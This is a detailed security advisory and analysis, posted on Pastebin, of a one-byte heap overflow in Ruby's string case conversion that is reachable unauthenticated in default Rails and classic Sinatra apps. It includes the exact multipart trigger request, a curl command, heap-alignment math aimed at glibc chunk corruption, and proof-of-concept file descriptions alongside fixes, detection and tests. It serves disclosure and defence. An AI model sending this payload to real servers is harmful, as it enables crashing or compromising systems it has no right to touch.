Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ================================================================================
- RUBY2SHELL -- GHSA-34m4-m9fh-gqp5 (CVE pending)
- One-byte heap overflow to RCE in Ruby's String case conversion,
- reachable unauthenticated over HTTP in default Rails & classic Sinatra
- ================================================================================
- Based on the Veria Labs report: https://verialabs.com/ruby2shell/
- (disclosed 2026-11-19 12:28 UTC)
- Upstream Ruby fix: ruby/ruby commit d582f8f (2026-10-28, by mame;
- reported by Stephan Lipp / Adalogics)
- --------------------------------------------------------------------------------
- 1. TL;DR
- --------------------------------------------------------------------------------
- Most single-byte ("legacy") encodings have no capital sharp s. Uppercasing
- the sharp s (byte 0xDF) must emit TWO bytes ("SS"), but the case-mapping
- loop in Ruby's ISO-8859-x / Windows-125x encoders checks for only ONE byte
- of room. The caller allocates a heap buffer of input_length + 20, so 21 or
- more sharp-s bytes in a string overflow the buffer by exactly one byte.
- A default, NON-AUTHENTICATED request path in Rails and in classic-style
- Sinatra feeds attacker-controlled data to that upcase:
- 1. Rack's multipart parser applies a per-part "charset" parameter to
- text fields (Content-Type: text/plain; charset=ISO-8859-1), letting
- the attacker choose the string's encoding.
- 2. Rack::MethodOverride (default middleware in Rails and classic
- Sinatra, runs before any app/auth code) does method.to_s.upcase on
- the "_method" form param -- BEFORE validating it.
- Result: one unauthenticated multipart POST triggers a 1-byte heap overflow
- of an attacker-sized malloc chunk, with a fixed value byte ('S' = 0x53, or
- 's' = 0x73 for case folding), plus a 1-byte OOB read. Crafted payloads can
- land the byte exactly on glibc's next-chunk size field LSB -> classic
- chunk-size corruption -> overlapping chunks / tcache poisoning -> RCE on
- long-lived processes.
- Fix: upgrade Ruby to 3.3.14, 3.4.13 or 4.0.10. There is NO dedicated
- Rails/Rack/Sinatra release fixing the exposure (verified, see section 5).
- --------------------------------------------------------------------------------
- 2. AFFECTED VERSIONS
- --------------------------------------------------------------------------------
- Ruby series Affected Fixed in
- --------------- ----------------- ---------------
- 4.0 4.0.0 - 4.0.9 4.0.10
- 3.4 3.4.0 - 3.4.12 3.4.13
- 3.3 3.3.0 - 3.3.13 3.3.14
- 3.2 and older all releases back to 2.4.0 EOL, no fix
- Deployment Status on affected Ruby
- ---------------------------------------------- -----------------------
- Rails (default stack, non api_only) AFFECTED
- Sinatra classic style (require "sinatra" + DSL) AFFECTED
- Sinatra modular (Sinatra::Base) not exposed by default
- Other frameworks / plain Rack not exposed by default
- Apps upcasing strings received in legacy encodings potentially affected
- Bundled products named by the report:
- Affected : GitLab 19.6.0 (Ruby 3.3.13), GitHub Enterprise Server 3.22.5
- (4.0.9), Chatwoot 4.20.0 (3.4.4)
- Fixed : Mastodon 4.7.6, OpenProject 17.9.8, Discourse base image
- 2.0.20261119-0203 (all on 4.0.10)
- --------------------------------------------------------------------------------
- 3. ROOT CAUSE IN CRUBY
- --------------------------------------------------------------------------------
- 3.1 THE BUGGY LOOP
- (enc/iso_8859_1.c, function case_map(); identical code in iso_8859_2/3/4/9/
- 10/13/14/15/16.c and windows_1250/1252/1254/1257.c; present since Ruby 2.4.0)
- while (*pp < end && to < to_end) { /* room for ONE byte only */
- code = *(*pp)++;
- if (code == SHARP_s) {
- if (flags & ONIGENC_CASE_UPCASE) {
- *to++ = 'S'; /* first byte */
- code = 'S';
- }
- /* ... */
- }
- /* ... */
- *to++ = code; /* second byte, UNCHECKED */
- }
- 3.2 THE CALLER'S BUFFER MATH
- (String#upcase / swapcase / downcase(:fold) / casecmp? on a non-ASCII-only
- single-byte string all funnel into rb_str_casemap() in string.c)
- #define CASE_MAPPING_ADDITIONAL_LENGTH 20 /* string.c */
- while (source_current < source_end) {
- size_t capa = (size_t)(source_end-source_current)*++buffer_count
- + CASE_MAPPING_ADDITIONAL_LENGTH; /* len + 20 */
- current_buffer = xmalloc(offsetof(mapping_buffer, space) + capa);
- buffer_length_or_invalid = enc->case_map(flags, &source_current,
- source_end, current_buffer->space,
- current_buffer->space+current_buffer->capa, enc);
- ...
- }
- Each sharp s adds one extra output byte. The buffer has len + 20 spare
- bytes, so 21 sharp-s bytes overflow it by exactly one byte. Afterwards
- case_map() returns to - to_start (= len + 21), so copying the result into
- the Ruby String also READS one byte out of bounds.
- When does the write go OOB? The loop's last guaranteed-in-bounds slot is
- to_end - 1; a sharp-s processed there writes to_end-1 (ok) and to_end
- (ONE PAST THE END). For an all-sharp-s input that means len + 20 must be
- odd, i.e. an ODD input length >= 21 (21, 23, ... 63 ...). Mixed inputs
- work too (see section 4).
- Verified on Ruby 3.1.2 (affected series) under Valgrind with
- ("\xDF"*21).force_encoding("ISO-8859-1").upcase:
- Invalid write of size 1
- at 0x8940EBC: ??? (in .../ruby/3.1.0/enc/iso_8859_1.so)
- Address 0x5329f01 is 0 bytes after a block of size 65 alloc'd
- (24-byte mapping_buffer header + 21 + 20 = 65)
- Invalid read of size 2
- at 0x488D220: __GI_memcpy ...
- 3.3 THE UPSTREAM FIX (ruby/ruby@d582f8f13d700d8e39714d3a8f11eb4bd2bc69f0)
- One-line change in each of the 14 encoder files -- require two bytes of
- room, because any input byte may expand to two:
- - while (*pp < end && to < to_end) {
- + while (*pp < end && to_end - to > 1) {
- If only one byte remains, case_map() now stops; rb_str_casemap()'s outer
- loop allocates a fresh remaining*k + 20 buffer and continues. Output is
- unchanged, only the allocation strategy differs. The commit also adds
- test_single_byte_sharp_s_expansion (test/ruby/enc/test_case_mapping.rb),
- sweeping 1..64 sharp-s over all 14 encodings for upcase, downcase(:fold),
- swapcase, capitalize and casecmp?.
- NOT affected: UTF-8 (separate code path in enc/unicode_* with correct
- bounds) and Encoding::ASCII_8BIT / binary (no 0xDF case mapping) -- this
- matters for section 4.
- --------------------------------------------------------------------------------
- 4. THE EXPLOITATION PRIMITIVE
- --------------------------------------------------------------------------------
- WHAT : one byte written past a heap buffer, then one byte read OOB.
- VALUE : 'S' (0x53) for upcase / swapcase / capitalize
- 's' (0x73) for downcase(:fold) and casecmp?
- WHERE : the attacker fully controls the allocation size through the input
- length (request = 24-byte mapping_buffer header + len + 20 bytes
- on 64-bit), so they choose which heap bin the victim chunk is.
- Size control verified (same trigger, different lengths):
- len = 21 -> "0 bytes after a block of size 65"
- len = 63 -> "0 bytes after a block of size 107"
- On glibc, a byte written exactly at the malloc-request end hits the NEXT
- CHUNK's size-field LSB when request % 16 == 8. A pure-sharp-s payload
- always has odd capa = len + 20, which never satisfies that congruence --
- but a MIXED payload does. Example: "a"*13 + "\xDF"*31
- capa = 13 + 31 + 20 = 64 (== 0 mod 16)
- malloc request = 24 + 64 = 88 (== 8 mod 16)
- after the 13 plain bytes to = 13; sharp-s #26 starts writing at
- 13 + 2*25 = 63 = capa - 1, so its second 'S' lands at offset 64,
- i.e. exactly on the next chunk's size LSB:
- Invalid write of size 1
- at 0x8940EBC: (in .../enc/iso_8859_1.so)
- Address 0x532b818 is 0 bytes after a block of size 88 alloc'd
- A corrupted size LSB (e.g. 0x31 -> 0x71) is the textbook entry to
- chunk-extend/shrink -> overlapping chunks -> tcache/fastbin poisoning ->
- arbitrary write. Each HTTP request performs the overflow with an
- attacker-chosen allocation size in a long-lived process, so the attacker
- can groom the heap between attempts. That is what the report's "one-byte
- heap overflow to remote code execution" rests on; it needs per-target heap
- work, but nothing about the primitive rules it out. The OOB READ can
- additionally leak one adjacent heap byte into the returned string via the
- buffer_count == 1 copy-out path.
- --------------------------------------------------------------------------------
- 5. NETWORK REACHABILITY -- THE DEFAULT-STACK CHAIN (AND THE "RAILS FIX")
- --------------------------------------------------------------------------------
- The interesting part is not the Ruby bug -- it is that a DEFAULT,
- UNAUTHENTICATED request path case-maps an attacker-controlled string that
- is in a legacy single-byte encoding OF THE ATTACKER'S CHOOSING.
- I audited the ecosystem for a framework-side fix (as of 2026-11-19):
- * Rails: newest actionpack releases are 8.1.4.1 / 8.0.5.2 (2026-11-04);
- I diffed both gems -- they contain an ActionController::Live fix, a
- Vary-header rework, strong-parameters/session cleanups. NOTHING
- touching case conversion, MethodOverride, or multipart charsets.
- Rails main @ c9e828a8c0 (2026-11-19) STILL ships the exposure.
- The Nov 17-18 commits (0ee4977d7c "Parse only token schemes in
- Token.token_and_options", PR #59855) are token-auth changes
- (regex-validated ASCII, downcase -- safe path) and are unrelated.
- * Rack main / 3.2.8: method_override.rb still has method.to_s.upcase;
- the last commits touching that file are about QUERY-method support
- and error rescues, not encodings.
- * Sinatra 4.2.2 (2026-11-17, one day pre-disclosure) is a rack-
- protection hardening release (host allowlists, referer checks,
- path-traversal ordering); classic style still sets method_override.
- CONCLUSION: no dedicated Rails/Rack/Sinatra fix exists. The primary fix is
- the Ruby upgrade, exactly as the report's remediation section says. The
- error is a three-layer composition, pinpointed to exact file:lines:
- STEP 1 -- attacker picks the encoding.
- Rack::Multipart::Parser#tag_multipart_encoding
- (lib/rack/multipart/parser.rb, ~line 636 in Rack 3.2.8):
- def tag_multipart_encoding(filename, content_type, name, body)
- name = name.to_s
- encoding = Encoding::UTF_8
- name.force_encoding(encoding)
- return if filename # file parts untouched
- if content_type
- ...
- if TEXT_PLAIN == type_subtype # part: text/plain
- ...
- if k == "charset"
- encoding = find_encoding(v) # <-- attacker's charset
- end
- end
- end
- name.force_encoding(encoding)
- body.force_encoding(encoding) # <-- value becomes legacy enc
- end
- Ordinary query-string / urlencoded params are always unescaped to UTF-8
- (QueryParser#unescape), and broken-UTF-8 strings take the unaffected
- multibyte path -- so the multipart charset is the ONLY default way to
- hand the framework a legacy-encoded, sharp-s-carrying string. (Dummy
- encodings like ISO-2022-JP get re-encoded to UTF-8 by
- handle_dummy_encoding; the 14 affected encodings are not dummy.)
- STEP 2 -- the framework upcases it.
- Rack::MethodOverride#method_override (lib/rack/method_override.rb, ~46):
- def method_override(env)
- req = Request.new(env)
- method = method_override_param(req) ||
- env[HTTP_METHOD_OVERRIDE_HEADER]
- begin
- method.to_s.upcase # <-- the vulnerable case conversion
- rescue ArgumentError
- env[RACK_ERRORS].puts "Invalid string for method"
- end
- end
- method_override_param reads req.POST["_method"] whenever form_data? is
- true -- which includes multipart/form-data -- and the allow-list check
- (HTTP_METHODS.include?(method)) happens only AFTER the upcase. The
- X-HTTP-Method-Override header path is NOT exploitable (header values
- are ASCII-8BIT, which has no 0xDF mapping).
- STEP 3 -- who runs MethodOverride by default:
- * RAILS: railties/lib/rails/application/default_middleware_stack.rb:58
- middleware.use ::Rack::MethodOverride unless config.api_only
- Every standard (non-API) Rails app puts Rack::MethodOverride IN FRONT
- of all controller code, i.e. BEFORE authentication.
- * SINATRA classic style: lib/sinatra/base.rb:2084
- class Application < Base
- set :method_override, true
- end
- wired at base.rb:1819:
- builder.use Rack::MethodOverride if method_override?
- Modular Sinatra::Base has set :method_override, false (line 1943) --
- hence the report's "Sinatra (classic style)" row.
- * Plain Rack apps, Roda, Hanami, ... do not insert Rack::MethodOverride
- by default -- "not exposed by default", exactly as the report says.
- THE REQUEST (one plain POST, any route, no auth, no CSRF token):
- POST /anything HTTP/1.1
- Content-Type: multipart/form-data; boundary=X
- --X
- Content-Disposition: form-data; name="_method"
- Content-Type: text/plain; charset=ISO-8859-1
- <0xDF repeated 63 times (odd count, >= 21)>
- --X--
- With curl (note: "-F name=<file" sends a part WITHOUT a filename, which is
- required for tag_multipart_encoding to apply the charset):
- curl -X POST "$URL" \
- -F "_method=<$PAYLOAD;type=text/plain;charset=ISO-8859-1"
- END-TO-END PROOF (minimal "default Rails/Sinatra stack" = Rack::
- MethodOverride + Rack app on WEBrick, run under Valgrind, then ONE
- unauthenticated request; Ruby 3.1.2 / Rack 3.1.23):
- == 2/3 sending payload: POST _method = 63 x 0xDF (charset=ISO-8859-1)
- reached the app. _method: 63 bytes, encoding=ISO-8859-1; REQUEST_METHOD=POST
- == 3/3 valgrind report (heap corruption caused by the request)
- Invalid write of size 1
- at 0xB210EBC: ??? (in /usr/lib/aarch64-linux-gnu/ruby/3.1.0/
- enc/iso_8859_1.so)
- ...
- by 0x4EC202F: start_thread (pthread_create.c:442) <-- request thread
- Address 0x9e5b8db is 0 bytes after a block of size 107 alloc'd
- at 0x48850C8: malloc (vg_replace_malloc.c:381)
- Invalid read of size 2
- at 0x488D220: __GI_memcpy ...
- FRAMEWORK-LAYER STOPGAP (if you cannot upgrade Ruby today):
- prepend-patch Rack::MethodOverride so that "_method" is validated as an
- RFC 9110 token using only ASCII-safe operations (String#tr! with a-z /
- A-Z, byte-range checks) BEFORE any case conversion. Verified to
- neutralize the overflow under Valgrind while _method=delete and the
- X-HTTP-Method-Override header still work. Treat it as a stopgap only --
- any other code path that upcases legacy-encoded strings remains
- vulnerable. (A ready-to-use version ships as
- rack_method_override_hardening.rb next to this file.)
- --------------------------------------------------------------------------------
- 6. DETECTION AND REMEDIATION
- --------------------------------------------------------------------------------
- REMEDIATE
- 1. Upgrade Ruby to 3.3.14 / 3.4.13 / 4.0.10 (or a vendor release
- bundling one). This is the only complete fix.
- 2. If you cannot upgrade immediately:
- - apply the MethodOverride hardening patch, or remove/swap the
- middleware if you don't need _method overrides, AND
- - audit your own code for upcase / swapcase / downcase(:fold) /
- casecmp? on strings whose encoding comes from request data
- (multipart charset, user-supplied Encoding.find, legacy-encoded
- DB columns, ...).
- DETECT (retroactively)
- * Web-server logs: unauthenticated POSTs with Content-Type:
- multipart/form-data whose body contains a part with
- "Content-Type: text/plain; charset=" (any non-UTF-8 charset) and runs
- of 0xDF bytes. Rare-to-nonexistent in legitimate traffic.
- * Crash/monitoring: malloc/ASAN reports pointing at enc/iso_8859_1.so
- (or siblings) inside rb_str_casemap.
- CI REGRESSION TEST (fails on affected Rubies):
- require "test/unit"
- class SharpSTest < Test::Unit::TestCase
- def test_sharp_s_expansion_never_overflows
- s = ("\xDF".b * 21).force_encoding("ISO-8859-1")
- assert_equal "SS" * 21, s.upcase # + valgrind/ASAN in CI
- end
- end
- --------------------------------------------------------------------------------
- 7. POC FILES / HOW TO REPRODUCE
- --------------------------------------------------------------------------------
- Files (deliverable directory "ruby2shell"):
- trigger.rb local trigger: all 14 encodings x
- upcase/swapcase/fold/casecmp?; run under
- Valgrind. Usage: ruby trigger.rb 21
- server.rb minimal "default Rails/Sinatra stack"
- (Rack::MethodOverride + Rack app) on
- WEBrick, port 4567
- send_payload.sh attacker side: charset-tagged multipart
- _method POST via curl.
- Usage: ./send_payload.sh URL [N]
- poc.sh full demo: server under Valgrind -> one
- unauthenticated request -> Valgrind
- report. Usage: ./poc.sh 63
- exploit_alignment.rb size/alignment math landing the 'S' byte
- on a glibc chunk-size LSB
- rack_method_override_hardening.rb framework-layer stopgap patch
- WRITEUP.md full markdown writeup
- Requirements: an affected Ruby (tested with 3.1.2), rack (tested 3.1.23;
- 3.2.8 behaves the same), rackup, webrick, curl, valgrind.
- Quick local check:
- valgrind ruby -e '("\xDF".b*21).force_encoding("ISO-8859-1").upcase'
- --------------------------------------------------------------------------------
- 8. TIMELINE
- --------------------------------------------------------------------------------
- 2016-12 (Ruby 2.4.0) buggy case_map loop introduced with the full
- case-mapping API
- 2026-10-28 upstream fix d582f8f committed by mame
- (reported by Stephan Lipp, Adalogics)
- 2026-11-17 Sinatra 4.2.2 (unrelated hardening); no
- Rack/Rails fix for this issue
- 2026-11-19 Ruby 3.3.14 / 3.4.13 / 4.0.10 released;
- Veria Labs discloses GHSA-34m4-m9fh-gqp5
- (12:28 UTC)
- ~2026-11-26 Veria Labs plans to publish their own PoC
- --------------------------------------------------------------------------------
- 9. REFERENCES
- --------------------------------------------------------------------------------
- Veria Labs report ......... https://verialabs.com/ruby2shell/
- Advisory .................. GHSA-34m4-m9fh-gqp5 (CVE pending)
- Ruby fix .................. https://github.com/ruby/ruby/commit/
- d582f8f13d700d8e39714d3a8f11eb4bd2bc69f0
- Rack ...................... https://github.com/rack/rack
- (lib/rack/method_override.rb,
- lib/rack/multipart/parser.rb)
- Rails ..................... https://github.com/rails/rails
- (railties/lib/rails/application/
- default_middleware_stack.rb)
- Sinatra ................... https://github.com/sinatra/sinatra
- (lib/sinatra/base.rb)
- ================================================================================
- This document was produced by independent analysis of the public report,
- the upstream Ruby fix commit, and the Rails/Rack/Sinatra sources at the
- time of disclosure (2026-11-19). It is provided for defensive purposes:
- patch your Rubies, and verify your exposure with the regression test
- above.
- ================================================================================
Advertisement
Add Comment
Please, Sign In to add comment